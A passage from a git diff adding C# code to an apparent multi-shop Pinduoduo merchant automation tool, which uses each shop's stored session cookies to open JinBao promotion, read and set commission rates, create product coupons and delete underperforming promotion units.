PinduoduoApiGetProduct(Shop); + string html = api.CreateGoodExtension(units); + if (html.Contains("{\"failed_vos\":[]}")) + { + LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + ",开通佣金比率成功"); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "reason"); + LogSave.Add(Name, "商品" + goodId.Replace("\r", "").Replace("\n", "") + "开通佣金比率失败,错误原因"+errorMsg); + } + } + public static void OpenSpread() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + + string url = "https://mms.pinduoduo.com/cps/api/edit/openMallUnit"; + string refere = "https://mms.pinduoduo.com/exp/mallPromotion"; + string data = "{\"rate\":\"" + Rate * 10 + "\" }"; + //第一页匹配结果 + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies); + if (html.Contains("\"success\":true")) + { + LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效"); + Thread.Sleep(10*1000); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败"); + } + } + ReadSpread(); + } + public static void OpenGoodSpread() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(shop); + string html = api.CreateJinBaoExtension(ShopRate * 10); + if (html.Contains("\"is_create_success\":true")) + { + LogSave.Add(Name, "店铺" + shop.ShopName + ",开通多多推广成功,修改后的佣金比率将在第二天0点生效"); + Thread.Sleep(10 * 1000); + } + else + { + string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add(Name, "店铺" + shop.ShopName + "," + errorMsg + ",开通多多推广失败"); + } + } + ReadSpread(); + } + public static void ReadSpread() + { + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + string url = "https://mms.pinduoduo.com/cps/api/query/queryMallUnit"; + string refere = "https://mms.pinduoduo.com/exp/mallPromotion"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies); + decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M; + shop.commission = minRate + "%"; + if (minRate==0) + { + shop.commission = "没有开通全店推广"; + LogSave.Add(Name, "商铺" + shop.ShopName + ",没有开通全店推广"); + } + else + { + LogSave.Add(Name, "商铺" + shop.ShopName + ",佣金比率:" + minRate + "%"); + } + tempShops.Add(shop); + Thread.Sleep(1 * 1000); + } + } + + public static void apiReadSpread() + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + string html=api.JinBaoExtension(goodId); + decimal minRate = BaseRegex.GetDecimalJson(ref html, "rate") / 10M; + string errorMsg = ""; + if (minRate == 0) + { + errorMsg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add(Name, "商品" + goodId + ","+errorMsg); + return; + } + else + { + LogSave.Add(Name, "商品" + goodId + ",佣金比率:" + minRate + "%"); + } + GoodRate goodRate = new GoodRate(); + goodRate.shopName = Shop.ShopName; + goodRate.goodId = goodId; + goodRate.rate = minRate + "%"; + goodRate.error = errorMsg; + tempGoodRate.Add(goodRate); + Thread.Sleep(1 * 1000); + } + + + public static void OpenGoodCoupon() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + JinBaoMarketing.couponStartTime = couponStartTime; + JinBaoMarketing.couponEndTime = couponEndTime; + JinBaoMarketing.discount = discount; + JinBaoMarketing.Rate = Rate; + JinBaoMarketing.couCount = couCount; + JinBaoMarketing.goodCount = goodCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetGoodCoupon), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public static void OpenSetGoodCoupon() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + JinBaoMarketing.couponStartTime = couponStartTimex; + JinBaoMarketing.couponEndTime = couponEndTimex; + JinBaoMarketing.discount = discountx; + //JinBaoMarketing.Rate = Rate; + JinBaoMarketing.couCount = couCountx; + //JinBaoMarketing.goodCount = goodCount; + Threadx.ThreadListWait(ref ts, new Thread(p.GetSetGoodCoupon), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + + + public static void OpenShopGoodCoupon() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + JinBaoMarketing.couponStartTime = couponStartTime; + JinBaoMarketing.couponEndTime = couponEndTime; + JinBaoMarketing.discount = discount; + JinBaoMarketing.Rate = Rate; + JinBaoMarketing.couCount = couCount; + JinBaoMarketing.goodCount = goodCount; + JinBaoMarketing.goodId = goodId; + Threadx.ThreadListWait(ref ts, new Thread(p.GetShopGoodCoupon), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public static void GetGoodSpread() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetGoods), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public static void GetNoGoodSpread() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetNoGoods), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + public static void GetNoDelGoodSpread() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetNoDelGoods), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + public static void GetCouponSpread() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectPayOrder || !shop.Showed) + continue; + var p = new JinBaoMarketing(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.GetCouponGoods), 20); + Thread.Sleep(100); + } + Threadx.ThreadListWait(ref ts); + } + + } + + public class JinBaoMarketing + { + public string Name = ""; + public ShopChatBase Shop; + public static string couponStartTime = ""; + public static string couponEndTime = ""; + public static long discount = 0; + public static int Rate = 0; + public static int couCount = 0; + public static int goodCount = 0; + public static string goodId = ""; + public static List jinBaoTempProduct = new List(); + //public static List jinBaoDelProduct = new List(); + public static Dictionary> jinBaoDelProduct = new Dictionary>(); + public static List jinBaoTempDelProduct = new List(); + public JinBaoMarketing(string name,ShopChatBase shop) + { + this.Name = name; + this.Shop = shop; + } + public void GetGoods() + { + Shop.jinBaoProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/cps/api/mall/goods"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods"; + string data = "{\"pageNumber\":#page#,\"pageSize\":100}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < 5; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + //p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + p.CatId = BaseRegex.GetIntJson(ref list, "cat_id"); + p.ShopName = Shop.ShopName; + int price = BaseRegex.GetIntJson(ref list, "groupPrice"); + p.Price = price / 100m; + p.favcnt = JinBaoSpread.Rate; + p.UseShopName = Shop.Name; + //p.jinbaoCount = JinBaoSpread.couCount; + //p.jinbaoAmount = JinBaoSpread.discount; + //商品已经被设置 + int wipeOutReason = BaseRegex.GetIntJson(ref list, "wipeOutReason"); + if (wipeOutReason == 1) + continue; + jinBaoTempProduct.Add(p); + if (!Shop.jinBaoProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.jinBaoProduct.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + LogSave.Add(Name, "获取完成"); + } + + public void GetNoGoods() + { + if (jinBaoDelProduct.ContainsKey(Shop.ShopName)) + jinBaoDelProduct.Remove(Shop.ShopName); + List jinbaolst = new List(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/cps/api/query/unitList"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"{""id"":[\w\W]+?""hasCoupon"""); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsSn= BaseRegex.GetLongJson(ref list, "id"); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + //p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + int price = BaseRegex.GetIntJson(ref list, "groupPrice"); + p.Price = price / 100m; + p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate")/10; + //商品已经被设置 + int onSale = BaseRegex.GetIntJson(ref list, "onSale"); + if (onSale == 1) + continue; + p.Message = "未达标"; + jinBaoTempDelProduct.Add(p); + if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + jinbaolst.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + jinBaoDelProduct.Add(Shop.ShopName, jinbaolst); + LogSave.Add(Name, "获取完成"); + } + public void GetCouponGoods() + { + if (jinBaoDelProduct.ContainsKey(Shop.ShopName)) + jinBaoDelProduct.Remove(Shop.ShopName); + List jinbaolst = new List(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/cps/api/query/unitList"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + string data = "{\"pageSize\":100,\"pageNumber\":#page#,\"currentPage\":#page#}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < 2; i++) + { + if (i != 0) + { + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#page#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"[\w\W]+?""hasCoupon""[^>]+?"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "id"); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + //p.GoodsSn = BaseRegex.GetLongJson(ref list, "goods_sn"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + //p.jinbaoCount = JinBaoSpread.couCountx; + //p.jinbaoAmount = JinBaoSpread.discountx; + + int price = BaseRegex.GetIntJson(ref list, "groupPrice"); + p.Price = price / 100m; + p.favcnt = BaseRegex.GetIntJson(ref list, "commissionRate") / 10; + //商品已经被设置 + int remainQuantity = BaseRegex.GetIntJson(ref list, "remainQuantity"); + if (remainQuantity == 1) + continue; + p.Message = "添加优惠券"; + jinBaoTempDelProduct.Add(p); + if (!jinbaolst.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + jinbaolst.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + jinBaoDelProduct.Add(Shop.ShopName, jinbaolst); + LogSave.Add(Name, "获取完成"); + } + public void GetNoDelGoods() + { + if (!jinBaoDelProduct.ContainsKey(Shop.ShopName)) + return; + var jinbaolst = jinBaoDelProduct[Shop.ShopName]; + for (int i = 0; i < jinbaolst.Count; i++) + { + string url = "https://mms.pinduoduo.com/cps/api/edit/delete"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + string data = "{\"id\":"+ jinbaolst[i].GoodsSn + ",\"goodsId\":"+ jinbaolst[i].GoodsId+ "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies); + LogSave.Add(Name, jinbaolst[i].GoodsId + "正在删除"); + if (!html.Contains("\"success\":true")) + { + string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg"); + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = jinbaolst[i].GoodsId; + p.Message = errorMsg; + jinBaoTempProduct.Add(p); + } + else + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = jinbaolst[i].GoodsId; + p.Message = "未达标删除成功"; + jinBaoTempProduct.Add(p); + } + Thread.Sleep(1000); + } + } + public void GetGoodCoupon2() + { + string subtemp = ""; + string temp = ""; + int count = 0; + for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++) + { + if (count >= goodCount) + { + count = 0; + break; + } + + var product = Shop.jinBaoProduct[i]; + if (product.Uped) + continue; + Shop.jinBaoProduct[i].Uped = true; + + long goodsPrice = (long)product.Price; + long goodsId = product.GoodsId; + string url = "https://mms.pinduoduo.com/cps/api/coupon/queryGoodsCouponLimit"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/create"; + + string data = "{\"goodsIds\":[" + goodsId + "],\"type\":1}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + continue; + } + + long maxCoupon = BaseRegex.GetLongJson(ref html, "maxCoupon") / 1000; + if (discount > maxCoupon) + discount = maxCoupon; + //Thread.Sleep(2 * 1000); + url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"; + refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods"; + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999); + data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime + + "\",\"couponEndTime\":\"" + couponEndTime + + "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice + + ",\"goodsId\":" + goodsId + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + continue; + } + + long couponId = BaseRegex.GetLongJson(ref html, "batchId"); + + url = "https://mms.pinduoduo.com/cps/api/coupon/checkCouponInfo"; + refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods"; + data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + continue; + } + subtemp += ",{\"goodsId\":" + goodsId + ",\"commissionRate\":" + Rate * 10 + ",\"couponId\":" + couponId + ",\"isVerify\":true}"; + temp += "," + goodsId; + LogSave.Add(Name, goodsId + "正在生成优惠券"); + count++; + Thread.Sleep(2 * 1000); + } + string urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit/twoConfirm"; + string referex = "https://mms.pinduoduo.com/jinbao/promotion/create"; + string datax = "{\"units\":[" + subtemp.Substring(1) + "]}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + if (!htmlx.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + if (!htmlx.Contains("\"success\":true")) + return; + } + urlx = "https://mms.pinduoduo.com/cps/api/edit/createCommonUnit"; + referex = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods"; + datax = "{\"units\":[" + subtemp.Substring(1) + "],\"isVerifyRatePrice\":true,\"isVerifyMultiEvent\":true}"; + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + string[] goodData = temp.Substring(1).Split(','); + if (!htmlx.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + } + if (!htmlx.Contains("\"success\":true")) + { + for (int i = 0; i < goodData.Length; i++) + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = long.Parse(goodData[i]); + p.Message = "推广失败"; + jinBaoTempProduct.Add(p); + } + return; + } + + for (int i = 0; i < goodData.Length; i++) + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = long.Parse(goodData[i]); + p.Message = "推广成功"; + jinBaoTempProduct.Add(p); + } + + + + } + public void GetShopGoodCoupon() + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + string[] goodsIdx = JinBaoSpread.goodId.Trim().Replace("\r", "").Split('\n'); + for (int i = 0; i < goodsIdx.Length; i++) + { + if (string.IsNullOrEmpty(goodsIdx[i])) + continue; + long goodsId =long.Parse(goodsIdx[i]); + api.Data.Clear(); + + api.Data.Add("batch_desc", "设置优惠券"); + api.Data.Add("batch_start_time", couponStartTime); + api.Data.Add("batch_end_time", couponEndTime); + api.Data.Add("discount", (discount * 100).ToString()); + api.Data.Add("init_quantity", couCount.ToString()); + api.Data.Add("user_limit", "1"); + api.Data.Add("goods_id", goodsId.ToString()); + string html = api.CreateProCoupon(); + if (html.Contains("不可重复设置")) + continue; + LogSave.Add(Name, goodsId + "正在生成优惠券"); + long batch_id = BaseRegex.GetLongJson(ref html, "batch_id"); + + if (batch_id <= 0) + continue; + api.Data.Clear(); + string units = "[{\"goods_id\":" + goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id + + ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\"" + + couponEndTime + "\",\"discount\":" + discount * 100 + + ",\"init_quantity\":" + couCount + "}]"; + html = api.CreateGoodExtension(units); + if (html.Contains("不可重复设置")) + continue; + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(2 * 1000); + html = api.CreateGoodExtension(units); + } + + if (html.Contains("error_msg")) + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + p.GoodsId = goodsId; + p.jinbaoCount = JinBaoSpread.couCount; + p.jinbaoAmount = JinBaoSpread.discount; + p.Message = "推广失败"; + jinBaoTempProduct.Add(p); + } + else + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + p.GoodsId = goodsId; + p.jinbaoCount = JinBaoSpread.couCount; + p.jinbaoAmount = JinBaoSpread.discount; + p.Message = "推广成功"; + jinBaoTempProduct.Add(p); + } + + } + } + public void GetGoodCoupon() + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + int count = 0; + for (int i = 0; !JinBaoSpread.stopping && i < Shop.jinBaoProduct.Count; i++) + { + if (count >= goodCount) + { + count = 0; + break; + } + var product = Shop.jinBaoProduct[i]; + //long goodsPrice = (long)(product.Price * 1000); + long goodsId = product.GoodsId; + api.Data.Clear(); + + api.Data.Add("batch_desc", "设置优惠券"); + api.Data.Add("batch_start_time", couponStartTime); + api.Data.Add("batch_end_time", couponEndTime); + api.Data.Add("discount", (discount * 100).ToString()); + api.Data.Add("init_quantity", couCount.ToString()); + api.Data.Add("user_limit", "1"); + api.Data.Add("goods_id", goodsId.ToString()); + string html = api.CreateProCoupon(); + if (html.Contains("不可重复设置")) + continue; + LogSave.Add(Name, goodsId + "正在生成优惠券"); + long batch_id = BaseRegex.GetLongJson(ref html, "batch_id"); + + if (batch_id <= 0) + continue; + + api.Data.Clear(); + string units = "[{\"goods_id\":"+ goodsId + ",\"rate\":10,\"coupon_id\":" + batch_id + + ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\"" + + couponEndTime + "\",\"discount\":" + discount * 100 + + ",\"init_quantity\":" + couCount + "}]"; + html = api.CreateGoodExtension(units); + if (html.Contains("不可重复设置")) + continue; + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(3 * 1000); + html = api.CreateGoodExtension(units); + } + count++; + if (html.Contains("error_msg")) + { + string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg"); + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = goodsId; + p.jinbaoCount = JinBaoSpread.couCount; + p.jinbaoAmount = JinBaoSpread.discount; + p.Message = errorMsg; + jinBaoTempProduct.Add(p); + } + else + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = goodsId; + p.jinbaoCount = JinBaoSpread.couCount; + p.jinbaoAmount = JinBaoSpread.discount; + p.Message = "推广成功"; + jinBaoTempProduct.Add(p); + } + //Thread.Sleep(10 * 1000); + } + } + + public void GetSetGoodCoupon() + { + + if (!jinBaoDelProduct.ContainsKey(Shop.ShopName)) + return; + var jinbaolst = jinBaoDelProduct[Shop.ShopName]; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + for (int i = 0; i < jinbaolst.Count; i++) + { + //string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"; + //string refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + + + + //api.Data.Clear(); + + //api.Data.Add("batch_desc", "设置优惠券"); + //api.Data.Add("batch_start_time", couponStartTime); + //api.Data.Add("batch_end_time", couponEndTime); + //api.Data.Add("discount", (discount * 100).ToString()); + //api.Data.Add("init_quantity", couCount.ToString()); + //api.Data.Add("user_limit", "1"); + //api.Data.Add("goods_id", goodsId.ToString()); + //string html = api.CreateProCoupon(); + //if (html.Contains("不可重复设置")) + // continue; + //LogSave.Add(Name, goodsId + "正在生成优惠券"); + //long batch_id = BaseRegex.GetLongJson(ref html, "batch_id"); + + //if (batch_id <= 0) + // continue; + long goodsId = jinbaolst[i].GoodsId; + long goodsPrice = (long)(jinbaolst[i].Price * 1000); + string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon"; + string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods"; + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999); + string data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime + + "\",\"couponEndTime\":\"" + couponEndTime + + "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice + + ",\"goodsId\":" + goodsId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + { + Thread.Sleep(2 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (!html.Contains("\"success\":true")) + continue; + } + long couponId = BaseRegex.GetLongJson(ref html, "batchId"); + + + url = "https://mms.pinduoduo.com/cps/api/coupon/use"; + refere = "https://mms.pinduoduo.com/jinbao/promotion/index"; + data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + ",\"type\":1}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + LogSave.Add(Name, jinbaolst[i].GoodsId + "正在设置优惠券"); + if (!html.Contains("\"success\":true")) + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.UseShopName = Shop.Name; + p.jinbaoCount = JinBaoSpread.couCountx; + p.jinbaoAmount = JinBaoSpread.discountx; + p.GoodsId = jinbaolst[i].GoodsId; + p.Message = "设置优惠券失败"; + jinBaoTempProduct.Add(p); + } + else + { + TaobaoProductBase p = new TaobaoProductBase(); + p.ShopName = Shop.ShopName; + p.GoodsId = jinbaolst[i].GoodsId; + p.UseShopName = Shop.Name; + p.jinbaoCount = JinBaoSpread.couCountx; + p.jinbaoAmount = JinBaoSpread.discountx; + p.Message = "设置优惠券成功"; + jinBaoTempProduct.Add(p); + } + Thread.Sleep(5*1000); + } + } + } + + public class GoodRate + { + public string shopName = ""; + public string UseShopName = ""; + public string goodId = ""; + public string rate = ""; + public string error = ""; + } + + +} diff --git 